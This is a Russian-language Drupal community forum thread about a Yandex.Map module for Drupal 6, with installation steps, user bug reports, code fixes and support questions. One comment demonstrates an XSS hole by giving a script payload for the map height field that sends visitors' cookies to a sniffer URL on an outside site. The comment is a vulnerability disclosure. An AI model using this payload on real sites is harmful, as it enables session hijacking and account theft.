Модуль Yandex Map

Аватар пользователя bohart@InternetDevels.com

Модуль Yandex.Map
картинко
Позволяет внедрять Яндекс.карты в типы материалов которые определены в настройках модуля.
Здесь скрин со странички настроек модуля.

Здесь скрин как выглядит карта при добавлении/редактировании материала.

Доступен следующий функционал:
- настройка размеров, элементов управление, типа и свойств карты через админку (отдельно для страниц добавление материала и просмотра)
- возможность добавление только одной метки
- возможность поиска местности при добавлении/редактировании материла (страна, город, улица, дом…)
- локализация модуля: английский, русский и украинский.
- для теминга используем темплейт yandex-map.tpl.php
- в комплекте есть два блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Установка.
Для работы другие модули не требуются.
Включаем модуль:
/admin/build/modules
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map
Для следующего шага Вы должны иметь Яндекс.Паспорт. Получить его можно здесь:
http://passport.yandex.ru/passport?mode=register
После входа в систему переходим по ссылке и получаем оригинальный API KEY для своего сайта:
http://api.yandex.ru/maps/form.xml
После этого указываем API KEY в настройках модуля.

Планируется:
- исправление существующих багов;
- добавление новых
- интеграция в views - отображение всех результатов вюшки на одной карте
- увеличить количество меток в ноде
- увеличить количество доступных иконок для меток
- возможность ограничить местность, где пользователь может добавить метку (например, город или страна)

зы. надеюсь, кому то пригодиться ;)

----
Аналогичный модуль для Google Map - http://drupal.ru/node/24680

ВложениеРазмер
Иконка пакета yandex_map-6.x-1.1.4.zip50.46 КБ
Версия Drupal:
0 Thanks

Комментарии

Аватар пользователя PavelZ
PavelZ 9 лет назад

Спасибо, сам думал сделать такую штуку, поставил у себя на сайте, тестирую.
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

Аватар пользователя beerman
beerman 9 лет назад

не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.

Аватар пользователя cpu
cpu 9 лет назад

Полезный модуль. Полезен тем, до кого google maps до сих пор не добралася... Например Уфа, миллионник, а Googla нет.
Спасибо!

Аватар пользователя batbug
batbug 9 лет назад

Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

А за модуль - респект!

Аватар пользователя Химический Али
Химический Али 9 лет назад

Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?

Аватар пользователя gorr
gorr 9 лет назад

Спасибо, на заметку

Аватар пользователя Valeratal
Valeratal 9 лет назад

спасибо, полезно

Аватар пользователя kyky
kyky 9 лет назад

2 batbug
у нас в Чите - аналогично, местные кодеры городской флеш-навигатор сделали от безысходности...

но автор молодец!

Аватар пользователя bohart@InternetDevels.com
bohart@Internet... 9 лет назад
PavelZ написал:
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5

хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

beerman написал:
не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.
batbug написал:
Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(

ну например у Яндекс.карт много городов есть детализированных до дома, которых у гугла нету.

Химический Али написал:
Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?

нет, это ограничение этого модуля.
просто он изначально делался что одна нода - одна метка.
но в прочем это переделать не очень сложно, может в следующей версии модуля добавится и такой функционал... :)

Аватар пользователя VladSavitsky
VladSavitsky 9 лет назад
bohart написал:
хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)

Попробуйте прогнать свой модуль через Coder - он может подсказать в чем проблема.
Лично вчера исправил свои запросы к базе данных, потому что кодер сказал LIMIT для PostgreSQL не работает и нужно использовать чуток другую функцию для запроса. Мне не сложно исправить, а переносимость увеличивается. Попробуйте.

Да! И спасибо за то, что делитесь с сообществом.

Аватар пользователя Химический Али
Химический Али 9 лет назад

И там еще, по-моему, можно пути и регионы добавлять на карты - тоже хотелось бы.

Аватар пользователя neochief
neochief 9 лет назад

"LIMIT для PostgreSQL" — о чем я и писал во второй статье безопасного кода ;)

Аватар пользователя fasdalf@fasdalf.ru
fasdalf@fasdalf.ru 9 лет назад

И для тех, кто за мкадом, хотелось бы "оверлей" поддерживать, ибо карт в растре есть, а удобства - нет.

Аватар пользователя bodro
bodro 9 лет назад

полезный модуль
добавил ссылку на странице Gmap

Аватар пользователя bohart@InternetDevels.com
bohart@Internet... 9 лет назад
bodro написал:
добавил ссылку на странице Gmap

спасибо. сделал ход в ответ))

Аватар пользователя lastormo
lastormo 9 лет назад

потрясающе, отлично работает.
все чисто, красиво и хорошо работает.
огромное спасибо за этот модуль :)

Аватар пользователя winniepoo
winniepoo 9 лет назад

хм
сразу после включения модуля
имею ругань на несуществующую таблицу yandex_maps
MySQL 5, Drupal 6.10

Аватар пользователя winniepoo
winniepoo 9 лет назад

Нашел причину.
Таблица не создаются, когда при установке друпала выбран отличный от дефолтного префикс таблиц.
В .install вместо использования стандартного db_create_table
прямая SQL-команда CREATE TABLE создает таблицу (yandex_maps) без префикса,
а потом сам модуль эту таблицу через друпал найти не может, потому что ищется prefix_yandex_maps.

Да, есть еще проблемка, когда открываю нод с картой на редактирование
он забывает про старую точку и вместо нее ставит маркер на дефолтное значение.
Т.е. каждый раз при редактировании нода с картой надо заново точку ставить :(
Или я что-то не так делаю?

Аватар пользователя bodro
bodro 9 лет назад

протестировал, все хорошо работает, вот только
1 - если заполнить "Название метки:" и "Описание метки:" то карта в ноде не сохраняется
2 - JS скрипты карты грузятся на всех страницах сайта

Аватар пользователя s0cks
s0cks 9 лет назад

"Ваш корирайт для отображение внизу карт" ))

Аватар пользователя andypost@drupal.org
andypost@drupal.org 9 лет назад

Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
<?php
function yandex_map_menu() {
$items = array();

$items['admin/settings/yandex_map'] = array(
- 'title' => t('Yandex Map'),
+ 'title' => 'Yandex Map',
'page callback' => 'drupal_get_form',
'page arguments' => array('yandex_map_settings_form'),
'type' => MENU_NORMAL_ITEM,
'access arguments' => array('administer yandex_map'),
);
return $items;
}
?>

Для создания таблиц в 6ке нужно использовать hook_schema() и при удалении модуля вычищать свои переменные.

Соответственно yandex_map.install должен быть таким:

<?php
// $Id: yandex_map.install, v 1.1 2008/09/05 03:22:05 $ boh@rt

/**
* Implementation of hook_install().
*/
function yandex_map_install() {
// Create tables.
drupal_install_schema('yandex_map');
}

/**
* Implementation of hook_uninstall().
*/
function yandex_map_uninstall() {
// Remove tables.
drupal_uninstall_schema('yandex_map');
// Remove variables.
variable_del('yandex_map_control_edit');
variable_del('yandex_map_control_view');
variable_del('yandex_map_api_key');
variable_del('yandex_map_default_city');
variable_del('yandex_map_default_zoom');
variable_del('yandex_map_ballon_on_view');
variable_del('yandex_map_copyright');
variable_del('yandex_map_types');
variable_del('yandex_map_map_height');
variable_del('yandex_map_map_width');
}

/**
* Implementation of hook_schema().
*/
function yandex_map_schema() {
$schema['yandex_map'] = array(
'description' => 'Stores data for yandex-maps.',
'fields' => array(
'nid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'uid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'time' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'value' => array(
'type' => 'varchar',
'length' => 1024,
'not null' => TRUE,
'default' => '',
),
),
'indexes' => array(
'nid' => array('nid'),
),
);

return $schema;
}

?>

Аватар пользователя beerman
beerman 9 лет назад
andypost@drupal.org написал:
названия и описания пунктов меню не оборачиваются в t() в 6ке

это кто так сказал?

Аватар пользователя beerman
beerman 9 лет назад

покажи раздел документации. мож я чего пропустил?

Аватар пользователя not_returned
not_returned 9 лет назад

Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?

Аватар пользователя t1mm1
t1mm1 9 лет назад

хм...
а есть ли наработка под 5.16 версию?

заранее спасибо.
если можно на p1zz@ukr.net
протестирую и вышлю багтрекер. если будет необходимо.

Аватар пользователя Atl
Atl 9 лет назад

У-у-у-у! В 5-ке не ставится!

warning: Missing argument 3 for yandex_map_form_alter(), called in
.../includes/form.inc on line 365 and defined in
.../sites/all/modules/yandex_map/yandex_map.module on line 224.

363 foreach (module_implements('form_alter') as $module) {
364 $function = $module .'_form_alter';
365 $function($form_id, $form);
366 }

224 function yandex_map_form_alter(&$form, $form_state, $form_id) {
225 $types = variable_get('yandex_map_types', array());

Добавил $form_state в 365-ю - ни фига.

Аватар пользователя Clarion
Clarion 9 лет назад

классный модуль, автору большое спасибо, ещё бы меток побольше =)

Аватар пользователя bohart@InternetDevels.com
bohart@Internet... 9 лет назад
Atl написал:
У-у-у-у! В 5-ке не ставится!
t1mm1 написал:
а есть ли наработка под 5.16 версию?

этот модуль для 6 ветки Друпала. Для 5ки не планируется и не будет :(

s0cks написал:
"Ваш корирайт для отображение внизу карт" ))

очепятко однако, исправил

andypost@drupal.org написал:
Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке

Спасибо, не знал, исправил.

andypost@drupal.org написал:
Соответственно yandex_map.install должен быть таким:

гы, на хук_схема я уже давно перевел, только забыл выложить здесь..
а про вариейбли попросту забыл упомянуть в install файле. спасибо.

not_returned написал:
Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?

даный функционал будет присутствувать в новой версии (1.3)

Аватар пользователя bohart@InternetDevels.com
bohart@Internet... 9 лет назад

Обновлено модуль:
1) жабо скрипты не загружаются если не сохранен API key
2) форма Яндекс.Карт не отображается на страничках добавление/редактирование материала если не сохранен API key
3) исправлено инсталл модуля (добавлено _схему, удаление вариейблов)
4) обновлено перевод.
5) добавил условие на загрузку скриптов только там где это надо и по этому убралась жава ошибка о не удачном старте Яндекс.Карт там где их не должно быть
6) возможность выбора типа карты в админке.

ССылка:
http://drupal.ru/files/yandex_map-6.x-1.3.rar

Аватар пользователя gadtakoi
gadtakoi 9 лет назад

У меня не сохраняется метка :(
отправляет в Default city

Аватар пользователя alexandr.poddubsky
alexandr.poddubsky 9 лет назад
neochief написал:
Модуль не соблюдает половины стандартов кодирования Друпала.

а что дриса придумал фреймворк уже иль создал php? с каких пор стандарты zend не поддерживаются?

http://pear.php.net/manual/en/standards.php
http://framework.zend.com/manual/ru/coding-standard.html
http://framework.zend.com/manual/ru/coding-standard.coding-style.html
http://habrahabr.ru/blogs/php/38214/

так что не друпу нужно соблюдать, а стандарты zend.

Аватар пользователя neochief
neochief 9 лет назад

shamaner, есть такое мнение, что если вам нечего сказать по существу относительно данной, конкретной темы, то лучше вообще промолчать. Я очень рад, что вы знаете о стандартах кодирования PHP, но в данном случае, ваше замечание несколько не в тему и показывает то, что вы никогда не задумывались, почему возникают такие стандарты, почему в некоторых проектах эти стандарты отличаются от других, а также, почему для Друпала удобнее текущие друпаловские стандарты.

Аватар пользователя DmitryDrozdik
DmitryDrozdik 9 лет назад

Скачал значит и установил этот модуль, в результате чего метка не сохраняеться, показывает на карте не верно адрес, хотя на сайте yandex показывает все нормально.
в чем проблемка и как решить не поможите?
и еще как опустить карту в ноде вниз страницы, так чтоб текс был сверху, а карта снизу например как здесь http://company.yandex.ru/inside/contacts.xml
????

Аватар пользователя winniepoo
winniepoo 9 лет назад

При установке получаю

user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: update_sql /* admin : update_sql */ CREATE TABLE drupal01_yandex_map ( `nid` INT(10) unsigned NOT NULL DEFAULT 0, `uid` INT(10) unsigned NOT NULL DEFAULT 0, `time` INT(10) unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', PRIMARY KEY (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /www/fisherbo/www/htdocs/_test01/includes/database.inc on line 515.

я так понимаю, в базе на моем хостинге длина VARCHAR max 255

Аватар пользователя bohart@InternetDevels.com
bohart@Internet... 9 лет назад
neochief написал:
Рекомендую модуль Coder.

спасибо, пропустил через coder.
убрал все ошибки.
на счет безопасности не совсем разобрался :(

Zlodeiko написал:
и еще как опустить карту в ноде вниз страницы,

cоздайте файлик node-yournodetype.tpl.php

а для размещения карты в конкретном месте использую параметры с админки:

<?php
print theme('yandex_map');
?>

или же

<?php
$height 
'400px';
$width  '100%';
print 
theme('yandex_map'$height$width);
?>

++
Обновил модуль.
добавил темплейт yandex-map.tpl.php
Добавлено 2 блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Ну и самое главное исправлено ошибки при сохранение\отображении меток.

Аватар пользователя neochief
neochief 9 лет назад

Сходу, вбиваю в поле 'Default map height' что-то типа такого:
33px"><script>document.write('<img src="http://site.su/sniff.php?data=' + document.cookies + '">');</script><div style="

и получаю себе в логи все куки ваших пользователей и ваши рутовые, включительно.

Аватар пользователя winniepoo
winniepoo 9 лет назад

при обновлении на 1.4 отображение карты отваливается от нодов

Аватар пользователя andypost@drupal.org
andypost@drupal.org 9 лет назад

Может стоит этот модуль выложить на d.o больше откликов будет и удобнее обрабатывать ошибки/запросы

Аватар пользователя bohart@InternetDevels.com
bohart@Internet... 9 лет назад
winniepoo написал:
при обновлении на 1.4 отображение карты отваливается от нодов

не совсем понял что имелось веду...

andypost@drupal.org написал:
Может стоит этот модуль выложить на d.o

обязательно и с радостью! но еще немножко поработаю над улучшениями, тем более не знаком с алгоритмом добавления Туда модулей)

--

зы. сейчас готовлю демо-сайт :)

Аватар пользователя winniepoo
winniepoo 9 лет назад

Хм, немного не так, как я сказал. Проблемы вижу две.
1. При создании нода, к которому привязана карта (в настройках модуля yandex map),
сама карта не отображается.
Потом, только при редактировании созданного нода, карта видна и можно поставить точку.
2. Последующие операции редактирования устанавливают точку в ее дефолтное значение (заданное в конфигурации модуля), а старое значение точки на карте не сохраняется.

Аватар пользователя Sinn
Sinn 9 лет назад

Прямо недавно у нас в Чебоксарах, ни Яндекс.Карт не было, ни Google.Maps. Теперь есть Google только снимки со спутника и Яндекс, только схема города. Схема мне более интересна. Так что ждем более стабильной версии модуля для Яндекса. Пофиксите xss уязвимость! С ней этот модуль ставить не имеет никакого смысла.

Аватар пользователя leeroy1
leeroy1 9 лет назад

Огромное спасибо за модуль.

bohart@InternetDevels.com написал:
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка

Пожалуйста, подскажите, как именно вывести результаты вьюз на карту.

Аватар пользователя Myname
Myname 9 лет назад

На D.org выложен этот модуль!?

Аватар пользователя boodooboo
boodooboo 9 лет назад

При включении модуля в IE не отображается контент выводимый с помощью модуля Quick Tabs.

Аватар пользователя jason32
jason32 9 лет назад

какая последняя версия - которая в верхнем посте под номером 1.1.4 или которая в одном из каментов под номером 1.3 ?

Аватар пользователя Anodonta
Anodonta 9 лет назад

Мой город на Гугл-карте виден, на сегодня, лучше, но Яндекс-то наш, Рунетовский, - поэтому хорошо что Вы такой модуль сделали.

Аватар пользователя Anodonta
Anodonta 9 лет назад

А вот, оказывается, и мой город появился:

02 июня на сервисе Яндекс.Карты (а значит и в API) были добавлены новые данные.

Россия
- Сочи
- Новороссийск

Украина
- Чернигов
- Полтава
- Черновцы
- Хмельницкий
- Черкассы
- Тернополь
- Ровно

Для курортных зон существенно расширилось покрытие высокодетальными спутниковыми снимками.

Аватар пользователя skorpio
skorpio 9 лет назад

Спасибо большое!
давно искал такой вот модуль ,но есть маленький вопрос.
1)почему при создании ноды с использованием модуля, при его дальнейшем просмотре изображение отклеиваеться от Ноды во всех Браузерах кроме Opera .
2) можно ли использовать данный модуль просто как карта города на сайте? т.е создаеться нода ,где карта доступНа для всех пользователей ,Без создания мАтериала

Аватар пользователя Anodonta
Anodonta 9 лет назад
bohart@InternetDevels.com написал:
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map

А можно показать скриншоты последовательности действий по установке и настройке этого модуля, а то у меня руки из ж... никак не получается показать Яндекс-карту на сайте.

Аватар пользователя t1mm1
t1mm1 9 лет назад

автору поклон.

P.s. под 5й есть версия?))
P.s.s. за зенду +1.

Аватар пользователя t1mm1
t1mm1 9 лет назад

оффтоп.
мы у вас в Луцке выступали в Оболони =))
клевый замок у вас на Замковой =)

Аватар пользователя andrey_jw@drupal.org
andrey_jw@drupal.org 9 лет назад

Модуль ставил - хорош.
Но лично самому пришлось свое решение делать, потому что часто не нужно , что бы карта сразу грузилась. Из-за того , что рисунок грузиться со стороннего сервера - страница притармаживает в работе.
Может и вы встроите ссылку ПОКАЗАТЬ НА КАРТЕ при нажатие на которую начнет карта грузиться.

Аватар пользователя jason32
jason32 9 лет назад

не работает при выводе карт через таксономию в составе нод - не отображается, поясните, это техническая проблема Яндекса или просто об этом не подумали? Как я понимаю, проблема ещё и в том, что данные передаются в id=yandex_map, а их не может быть более одного на странице.
Надеюсь на оперативный ответ, тут сайт сдавать, а такой косяк неприятный образовался.

PS Пропатчил немного, когда одна нода в термине - отображается, когда несколько - глюки. Поясните, как человек, который разбирался в API Яндекса , как такое решить?

Аватар пользователя yurgon
yurgon 9 лет назад

да кстати у меня тоже перестало работать....при добавлении материала, отображается карта, но вот содержание карты не отображается, что делать?

Аватар пользователя Dr_Kertis
Dr_Kertis 9 лет назад

Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.
Что бы это значило?

Аватар пользователя jason32
jason32 9 лет назад
Dr_Kertis написал:
Попробовал поставить модуль, вроде стал без ошибок. Получил ключ, ввел. Теперь, при переходе на страницу выбранного типа материалов получаю надпись - страница http:мой_сайт.kiev.ua - неправильный ключ.

Значит домен сайта при получении ключа неправильно ввел.

Аватар пользователя Dr_Kertis
Dr_Kertis 9 лет назад

Ну не знаю, скопировал адресную строку - http://мойсайт.kiev.ua/
Ввел ее. Получил ключ. На странице информации о ключах вижу - мойсайт.kiev.ua
* получен 13 июля 2009
* Ключ работает
По ссылке попадаю именно на мой сайт, на главную страницу. Какое-то злое колдунство выходит.

Аватар пользователя Dr_Kertis
Dr_Kertis 9 лет назад

Нет никаких идей? :( Хотелось сделать красивую контактную форму с картой, а не выходит.
На Гугле схемы Киева, увы, нет, так что ставить даже не пробовал.

Аватар пользователя Dr_Kertis
Dr_Kertis 9 лет назад

Проблема с ошибкой исчезла сама собой, это был глюк яндекса. Там даже обсуждался вопрос с ошибкой, но ответ так и не нашелся.
Но возникла другая проблема - по умолчанию мне показывает мир, хотя в админке выставлено все как на скриншоте. Поиск работать отказывается. Можно установить нужный город вручную, влепить нужную метку на улицу, но... ничего не сохранится. И пользователь радостно увидит тихий океан :(
Версия 1.3

Аватар пользователя yurgon
yurgon 9 лет назад

тоже самое...ОКЕАН...

видно тема совсем заглохла...очень жаль...на самом деле очень востребованный модуль, так как мой город ещё не скоро будет на гугл мапс

Аватар пользователя azemel
azemel 9 лет назад

Как скачать этот чудесный модуль. У меня не качается "You don't have permission to access /files/yandex_map-6.x-1.3.rar on this server."

Аватар пользователя jason32
jason32 9 лет назад
azemel написал:
Как скачать этот чудесный модуль. У меня не качается "You don't have permission to access /files/yandex_map-6.x-1.3.rar on this server."

Качай файл, прикрепленный непосредственно к посту, версия 1.4

Аватар пользователя shumod@drupal.org
shumod@drupal.org 9 лет назад

При установке пишется ошибка:
user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: CREATE TABLE yandex_map ( `nid` INT unsigned NOT NULL DEFAULT 0, `uid` INT unsigned NOT NULL DEFAULT 0, `time` INT unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', INDEX nid (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /docs/includes/database.inc on line 515.

При сохранении ноды:
user warning: Table '.yandex_map' doesn't exist query: SELECT * FROM yandex_map WHERE `nid` = '56' in /docs/sites/all/modules/yandex_map/yandex_map.module on line 334.

При удалении пишется ошибка:
user warning: Unknown table 'yandex_map' query: DROP TABLE yandex_map in /docs/includes/database.mysql-common.inc on line 261.

Аватар пользователя jason32
jason32 9 лет назад
shumod@drupal.org написал:
При установке пишется ошибка

базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.

Аватар пользователя shumod@drupal.org
shumod@drupal.org 9 лет назад

Следующая ошибка при установке:
Warning: Got a packet bigger than 'max_allowed_packet' bytes query: INSERT INTO watchdog (uid, type, message, variables, severity, link, location, referer, hostname, timestamp) VALUES (1, 'php', '%message in %file on line %line.', 'a:4:{s:6:\"%error\";s:12:\"user warning\";s:8:\"%message\";s:2300783:\"Got a packet bigger than 'max_allowed_packet' bytes\nquery: UPDATE batch SET token = 'f925348e42c7390737108decd8a0a5fc', batch = 'a:10:{s:4:\\"sets\\";a:2:{i:0;a:12:{s:7:\\"sandbox\\";a:0:{}s:7:\\"results\\";a:0:{}s:7:\\"success\\";b:0;s:10:\\"operations\\";a:1:{i:0;a:2:{i:0;s:20:\\"_locale_batch_import\\";i:1;a:1:{i:0;s:47:\\"sites/all/modules/yandex_map/translations/ru.po\\";}}}s:5:\\"title\\";s:53:\\"Импорт переводов интер� in /docs/includes/database.mysql.inc on line 128

Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 3041548 bytes) in /docs/includes/database.mysql-common.inc on line 34

Warning: Cannot modify header information - headers already sent by (output started at /docs/includes/database.mysql.inc:128) in Unknown on line 0

jason32 написал:
базу он тебе автоматом создать не смог, выключи модуль, а потом снова включи. Видимо какие-то у тебя проблемы с настройками базы mysql или mysql старой версии. В mysql5 создает и с длиной 1024. Открой yandex_map.install и замени там 1024 на 255.

Хостер никхост. Чего-то понять не могу, какая версия mysql.
Есть две надписи: Версия сервера: 4.1.22-log, Версия MySQL-клиента: 5.1.16-beta. Что из них что?

Заранее спасибо.

Аватар пользователя jason32
jason32 9 лет назад

уже не важно, руками создай базу с нужными параметрами

Аватар пользователя superintendent
superintendent 9 лет назад

выдаёт 500 ошибку при сохранении ноды, как и с этим http://drupal.ru/node/24680
не подскажите, в чём может быть дело?

[РЕШЕНО] с приват_месседж был конфликт. залил новый, прошло.

Аватар пользователя Geldora
Geldora 9 лет назад

Итак, установила, все замечательно.

Есть две проблемы - 1) не отображается в Опре (конкретно, в Опере 10)

2) при сохранении ноды иногда сбивается адрес, т.е. вместо введенного, отображается дефолтный для города.

3) Все-таки, этот модуль загружает яндекс карты при каждом просмотре на сайте... Было бы хорошо - да что там! прекрасно! - если бы он - загружал ЯНдекс карты только там, где они собственно, есть... Или хотя бы вариант с Смотреть карту.

Аватар пользователя F10
F10 9 лет назад
bohart@InternetDevels.com написал:
и еще как опустить карту в ноде вниз страницы,
cоздайте файлик node-yournodetype.tpl.php

Может хотя бы здесь пойму, из чего состоит нода.

Ну так вот, хочу перенести карту ниже текста ноды. Написано, создайте файлик node-yournodetype.tpl.php и там перекрываете родной вывод. Ладно, сделал.
Дальше, в этом файле написал вот что:
<?php print theme('yandex_map');  ?> - это выводит карту.
Перед ней что вписывать, что бы вывести текстовую часть контента.
Если пишу так <?php print $content;?> или так <?php print $body?>, выводится контент с картой вместе, т. е. карта пытается загрузиться два раза.

А что выводит только текстовую часть ноды?

Аватар пользователя F10
F10 9 лет назад

И еще, обнаружен неприятный баг. Так как скрипты модуля грузяться на каждой странице, на страницах с списками views(где есть раскрытые фильтры): Opera виснет, IE выдает ошибку "Замедление работы IE".

Аватар пользователя yurgon
yurgon 9 лет назад

эхх... как мой город добавил Гугл, я и забил на это все...
Некому заниматься модулем :(

Аватар пользователя Emili013@drupal.org
Emili013@drupal.org 9 лет назад

Спасибо за модуль!
Только я тоже столкнулся с проблемой, что из-за вызова скрипта Y.Maps на каждой странице в Опере намертво виснет старница создание/редактирования Views.

И еще не могу понять как на определнной странице вывести карту с масштабом, отличным от дефалтного.
Т.е. я на главной странице хочу вывести карту со всеми созданными точками. Карту я вывожу следующим кодом:
echo theme('yandex_map', variable_get('yandex_map_block_height_'. $delta, FALSE), variable_get('yandex_map_block_width_'. $delta, FALSE));
А что нужно в нем изменить, чтобы масштаб был "город"?

PS: только начал изучать PHP, поэтому самостоятельно разобраться не смог..

Аватар пользователя Tsuba
Tsuba 8 лет назад

Хотелось бы узнать - автор поддерживает модуль? Или нет смысла ставить...

Аватар пользователя vatavale@drupal.org
vatavale@drupal.org 8 лет назад

У меня все работает. Только при редактировании ноды с картой, адрес сбивается на дефолтный. И это делает (в моем случае) непригодным это отличный модуль. Наверное там пустяшный код надо добавить с проверкой. Может быть автор разрешит доработать его модуль если у него у самого нет на это времени? Есть тут умельцы которым это как 2+2 сделать? Может neochief или еще кто-то? ;)

Аватар пользователя Errand Bruhos de la Vega
Errand Bruhos d... 8 лет назад

Кому-нибудь удалось установить модуль так, чтобы он правильно работал?

Аватар пользователя sas@drupal.org
sas@drupal.org 8 лет назад
Errand Bruhos de la Vega написал:
Кому-нибудь удалось установить модуль так, чтобы он правильно работал?

http://www.drupal.ru/node/39766

Аватар пользователя sdik@drupal.org
sdik@drupal.org 8 лет назад

День добрый всем.

Автору респект!

Есть маленькая проблемка...
При создании ноды карта не отображается (и клики по лупе ничего не дают). Но если ноду сохранить, а потом опять редактировать - карта отображается нормально.

Кто-нибудь сталкивался?

P.S. В какой теме писать? Здесь или http://www.drupal.ru/node/39766

Аватар пользователя Antoniy
Antoniy 8 лет назад

Хороший модуль, спасибо! Хм, как раз у Карт Яндекса данные более новые.

Аватар пользователя Сьюз
Сьюз 8 лет назад

Хорошая карта. Однако, мне надо ставить много меток. Эх.

Аватар пользователя Arturus
Arturus 8 лет назад
Сьюз написал:
Хорошая карта. Однако, мне надо ставить много меток. Эх.

Посмотрите этот модуль http://www.drupal.ru/node/24680
он позволяет ставить несколько меток

Аватар пользователя cinderella
cinderella 8 лет назад

Извините за вопрос а на локалке можно модуль проверить?

Аватар пользователя cinderella
cinderella 8 лет назад

Так установила модуль 6.3, выявила что при работе с типами материала, которые создала я сама, карта работает но только после того как нода уже создана и сохранена, то есть при редактировании, в встроенных типах такого нет карта работает нормально как надо

Аватар пользователя reddiamond
reddiamond 7 лет назад

Хочу поставить карту в информацию о пользователе, как можно это сделать? Где указывать откуда брать адрес?

Аватар пользователя sas@drupal.org
sas@drupal.org 7 лет назад
reddiamond написал:
Хочу поставить карту в информацию о пользователе, как можно это сделать? Где указывать откуда брать адрес?

Нужен будет http://drupal.org/project/content_profile

Аватар пользователя lomm
lomm 7 лет назад

А под семерку непланируется портировать?

Аватар пользователя ken
ken 7 лет назад
lomm написал:
А под семерку непланируется портировать?

+1

Аватар пользователя xom940k
xom940k 7 лет назад

Похоже чувак забросил работу над модулем...

Аватар пользователя ken
ken 7 лет назад

Большое спасибо за модуль !!! очень полезная штука, правда жаль что нет на 7ку. щас уже все проекты хочу проапгрейдить и возник вопрос будет ли версия для 7ки ?

Аватар пользователя ken
ken 7 лет назад
lomm написал:
А под семерку непланируется портировать?

+1

Аватар пользователя 132u
132u 7 лет назад

здравствуйте, подскажите пожалуйста , что делать , если города нет ни в гугл ни на яндексе?
p.s: я первый раз делаю сайт на drupal

Аватар пользователя tishka
tishka 6 лет назад

Что если нужно на одной странице показать 2 адреса? Не важно на одной карте или на двух? Как можно реализовать, подскажите пожалуйста. Заранее спасибо.

Аватар пользователя Antoniy
Antoniy 6 лет назад
tishka написал:
Что если нужно на одной странице показать 2 адреса?

Ну наверное, как самый простой вариант, создать шаблон node-id.tpl.php и вставить скрипт с Яндекс-карт:

   
<script src="http://api-maps.yandex.ru/1.1/index.xml?key=Ваш_ключ_API_Яндекс.Карты"
        type="text/javascript"></script>
    <script type="text/javascript">
        window.onload = function () {
            var map = new YMaps.Map(document.getElementById("YMapsID"));
            map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10);
        }
</script>

Там, где
map.setCenter(new YMaps.GeoPoint(37.64, 55.76), 10)
Назначить свои координаты.

А в то место шаблона, где должна быть выведена карта, вставить:
<div id="YMapsID" style="width:600px;height:400px"></div>

Но этот вариант не очень. Карта выводится без инструментов ((

UPD: Определение координат

Аватар пользователя Antoniy
Antoniy 6 лет назад

Вышла новая версия Яндекс.Карты 2.0. В конструкторе можно собрать карту и вставить на сайт.

Аватар пользователя Hot Gomer
Hot Gomer 6 лет назад

Скажите, а как можно разместить 2 карты в одной ноде?
есть 2 адреса в разных городах и хотелось бы поместить карты друг под другом.
и еще вопрос - как тело ноды поместить поверх карты?

Аватар пользователя Antoniy
Antoniy 6 лет назад

Я написал как разместить две карты (за два комментария до этого), хотя способ не очень.
Думаю, стоит посмотреть в сторону новых карт Яндекс.Карты 2.0. Там можно несколько адресов на одной карте размещать, типа филиалы.

Что значит тело ноды поверх карты? В блоке в регионе? Карта модуля и так в самом низу ноды.
А если вставлять кодом, который генерит Яндекс, то можно карту куда угодно засунуть, хоть между абзацами.

Аватар пользователя Arturus
Arturus 4 года назад

Я разместил карту в блоке, можно ли дать возможность зарегистрированным посетителям добавлять метки на эту карту?

Аватар пользователя sas@drupal.org
sas@drupal.org 4 года назад
ХулиGUN написал:
Пардон, но накипело

